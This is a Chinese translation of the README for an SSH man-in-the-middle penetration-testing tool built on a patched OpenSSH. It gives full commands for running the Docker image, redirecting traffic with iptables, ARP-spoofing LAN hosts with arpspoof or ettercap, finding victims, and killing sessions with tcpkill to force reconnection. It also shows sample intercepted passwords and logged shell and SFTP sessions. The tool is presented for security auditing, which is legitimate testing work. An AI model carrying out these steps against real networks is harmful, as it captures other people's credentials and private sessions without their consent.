作者:Joe Testa (@therealjoetesta)
此渗透测试工具允许审计员拦截 SSH 连接。对 OpenSSH v7.5p1 源代码应用的一个补丁使其充当受害者与其目标 SSH 服务器之间的代理;所有明文密码和会话都会被记录到磁盘。
当然,受害者的 SSH 客户端会提示服务器密钥已更改。但由于 99.99999% 的情况下这是由合法操作(操作系统重装、配置更改等)引起的,许多/大多数用户会忽略警告并继续连接。
注意: 仅在虚拟机或容器中运行修改后的 sshd_mitm!我们对 OpenSSH 源代码的关键区域做了临时编辑,未考虑其安全性影响。不难想象这些编辑会引入严重漏洞。
开始使用的最快、最简单的方法是使用预构建了 SSH MITM 的 Docker 镜像。
1.) 从 Dockerhub 获取镜像:
$ docker pull positronsecurity/ssh-mitm
2.) 然后,运行容器:
$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm
3.) 在主机上启用 IP 转发和 NAT 路由:
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
4.) 在局域网中查找目标,并对它们进行 ARP 欺骗(见下文)。
5.) Shell 和 SFTP 会话将记录在 ssh_mitm_logs 目录中。
以 root 身份运行 install.sh 脚本。该脚本将从软件仓库安装依赖项,下载 OpenSSH 归档文件,验证其签名,编译它,并初始化一个非特权环境以便在其中执行。
JoesAwesomeSSHMITMVictimFinder.py 脚本使在局域网中查找目标变得非常容易。它会 ARP 欺骗一个 IP 块,并在短时间内嗅探 SSH 流量,然后移动到下一个块。任何来自局域网设备的正在进行的 SSH 连接都会被报告。
默认情况下,JoesAwesomeSSHMITMVictimFinder.py 会一次 ARP 欺骗并嗅探仅 5 个 IP,持续 20 秒,然后移动到下一个 5 个 IP 的块。这些参数可以调整,但存在权衡:一次欺骗的 IP 越多,捕获正在进行的 SSH 连接的机会越大,但对弱小的网络接口造成的压力也越大。在过高的负载下,接口会开始丢弃帧,导致拒绝服务并大大增加怀疑(这很糟糕)。默认值在大多数情况下不会引起问题,但查找目标所需的时间会更长。在低利用率网络上可以安全地增加块大小。
示例:
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141
Local clients:
* 10.11.12.70 -> 174.129.77.155:22
* 10.11.12.43 -> 10.11.99.2:22
上述输出显示局域网中有两台设备创建了 SSH 连接(10.11.12.43 和 10.11.12.70);这些可以作为中间人攻击的目标。但请注意,为了可能拦截凭据,您需要等待它们发起新连接。没有耐心的渗透测试人员可以选择强制关闭现有的 SSH 会话(使用 tcpkill 工具),促使客户端立即创建新连接……
1.) 在完成初始设置并找到潜在受害者列表后(见上文),以 root 身份执行 start.sh。这将启动 sshd_mitm,启用 IP 转发,并通过 iptables 设置 SSH 数据包拦截。
2.) ARP 欺骗目标(专业提示: 不要一次欺骗所有东西!您弱小的网络接口很可能无法同时处理整个网络的流量。一次只欺骗几个 IP):
arpspoof -r -t 192.168.x.1 192.168.x.5
或者,您也可以使用 ettercap 工具:
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//
3.) 监控 auth.log。拦截到的密码将出现在这里:
sudo tail -f /var/log/auth.log
4.) 一旦会话建立,所有输入和输出的完整日志可以在 /home/ssh-mitm/ 中找到。SSH 会话记录为 shell_session_*.txt,SFTP 会话记录为 sftp_session_*.html(传输的文件存储在对应的目录中)。
成功后,/var/log/auth.log 中会显示记录密码的行,如下所示:
Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]
此外,受害者的完整 SSH 会话会被记录:
# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
jdog@jefferson ~ $ ppss
PID TT STAT TIME COMMAND
59264 p0 Ss 0:00.02 -bash (bash)
52132 p0 R+p 0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan
注意:用户命令中的字符在文件中出现了两次,因为记录了用户的输入以及 shell 的输出(它会回显字符)。观察发现,当 sudo 和 ssh 等程序临时禁用回显以读取密码时,不会记录重复字符。
所有 SFTP 活动也会被捕获。使用浏览器查看 sftp_session_0.html。它包含一个命令日志,并带有上传和下载文件的链接:
# cat /home/ssh-mitm/sftp_session_0.txt
<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x 4 jdog jdog 4096 Sep 11 16:12 .
drwxr-xr-x 4 root root 4096 Sep 6 11:53 ..
-rw-r--r-- 1 jdog jdog 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 jdog jdog 220 Aug 31 2015 .bash_logout
drwx------ 2 jdog jdog 4096 Sep 6 11:54 .cache
-rw-r--r-- 1 jdog jdog 655 May 16 08:49 .profile
drwx------ 2 jdog jdog 4096 Sep 8 16:59 .ssh
-rw-rw-r-- 1 jdog jdog 5242880 Sep 8 15:52 file
-rw-rw-r-- 1 jdog jdog 43131 Sep 10 10:47 file2
-rw-rw-r-- 1 jdog jdog 83 Sep 6 12:56 file3
-rw-rw-r-- 1 jdog jdog 3048960 Sep 11 13:51 file4
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="https://github.com/jtesta/ssh-mitm/blob/master/sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>
在 lol.h 中有两个定义:DEBUG_HOST 和 DEBUG_PORT。启用它们并将主机名设置为测试服务器。现在您可以直接连接到 sshd_mitm 而无需使用 ARP 欺骗来测试您的更改,例如:
ssh -p 2222 valid_user_on_debug_host@localhost
若要测试对 OpenSSH 源代码的更改,请使用 dev/redeploy.sh 脚本。
若要查看未提交更改的差异,请使用 dev/make_diff_of_uncommitted_changes.sh 脚本。
若要重新生成对 OpenSSH 源代码的完整补丁,请使用 dev/regenerate_patch.sh 脚本。